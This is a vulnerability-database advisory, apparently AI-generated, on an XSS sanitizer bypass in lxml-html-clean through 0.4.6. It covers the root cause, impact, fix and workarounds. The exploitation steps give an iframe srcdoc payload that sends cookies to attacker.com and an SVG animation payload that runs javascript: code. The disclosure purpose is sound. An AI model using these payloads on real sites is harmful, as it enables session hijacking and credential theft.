
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-141556 is a Cross-Site Scripting (XSS) vulnerability in the lxml-html-clean Python library (package lxml_html_clean) that allows attacker-controlled JavaScript to bypass HTML sanitization under specific non-default configurations. Affecting all versions through 0.4.6, the flaw was disclosed on December 2, 2026, and fixed in version 0.4.7. It carries a CVSS v3.1 base score of 4.7 (Medium) (GitHub Advisory, Feedly).
The root cause is an incomplete denylist (CWE-184) in the Cleaner class's JavaScript removal logic, which uses doc.rewrite_links() to strip javascript: URLs but only visits attributes enumerated in lxml.html.defs.link_attrs — missing two attribute categories. First, when safe_attrs_only=False and host_whitelist is set, the srcdoc attribute on <iframe> elements is not scrubbed; since srcdoc takes priority over src in browsers, an attacker can embed a full HTML document that executes without user interaction. Second, when remove_unknown_tags=False, SVG <set> and <animate> elements with attributeName="href" can use to, from, by, or values attributes to set a link's href to a javascript: URL at runtime, executing when clicked (CWE-79). The fix, introduced in commit 883db20, adds a new function _remove_attrs_that_bypass_link_cleaning() that explicitly deletes srcdoc from all elements and removes value attributes from SVG animation elements targeting href (GitHub Advisory, Fix Commit).
Successful exploitation enables stored or reflected XSS in applications that sanitize user-supplied HTML with safe_attrs_only=False and render the result to other users. The srcdoc variant executes JavaScript automatically on page load without any user interaction when host_whitelist is also configured (e.g., to allow video embeds), while the SVG animation variant requires a single click on the manipulated link. Consequences include session hijacking, credential theft, unauthorized actions performed on behalf of victims, and potential data exfiltration from the affected web application's origin (GitHub Advisory).
No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date. The vulnerability requires non-default Cleaner configuration (safe_attrs_only=False, plus either host_whitelist or remove_unknown_tags=False), which raises the bar for exploitation. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (Feedly, GitHub Advisory).
lxml-html-clean ≤ 0.4.6 with Cleaner(safe_attrs_only=False) and either host_whitelist set (for the iframe vector) or remove_unknown_tags=False (for the SVG vector).<iframe src="https://www.youtube.com/embed/x" srcdoc="<script>document.location='https://attacker.com/?c='+document.cookie</script>"> to a field that is sanitized and stored/reflected by the application.<svg><a><set attributeName="href" to="javascript:alert(document.cookie)"/></a>x</svg> to exploit the SVG animation bypass.srcdoc payload fires automatically on load; the SVG payload fires on click.srcdoc attributes on <iframe> elements, or SVG <set>/<animate> elements with attributeName="href" and to/from/by/values attributes containing javascript: URLs.Upgrade lxml-html-clean to version 0.4.7, which introduces _remove_attrs_that_bypass_link_cleaning() to explicitly strip srcdoc and SVG animation value attributes during JavaScript cleaning (GitHub Release, Fix Commit). As a workaround for applications that cannot immediately upgrade, avoid using safe_attrs_only=False — the default Cleaner() configuration (with safe_attrs_only=True) is not affected because it removes srcdoc, to, and values attributes entirely. Additionally, avoid setting remove_unknown_tags=False unless strictly necessary, as this is required for the SVG animation attack vector (GitHub Advisory).
The vulnerability was reported by researcher gistrec and published as a GitHub Security Advisory (GHSA-5gvf-7wqf-r4cv) by maintainer frenzymadness on November 26, 2026, with the fix committed the same day. The advisory notes this shares the same root cause as a prior advisory (GHSA-4jhm-jv67-739f) involving xlink:href with safe_attrs_only=False, indicating a pattern of incomplete attribute coverage in the library's link-rewriting approach (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."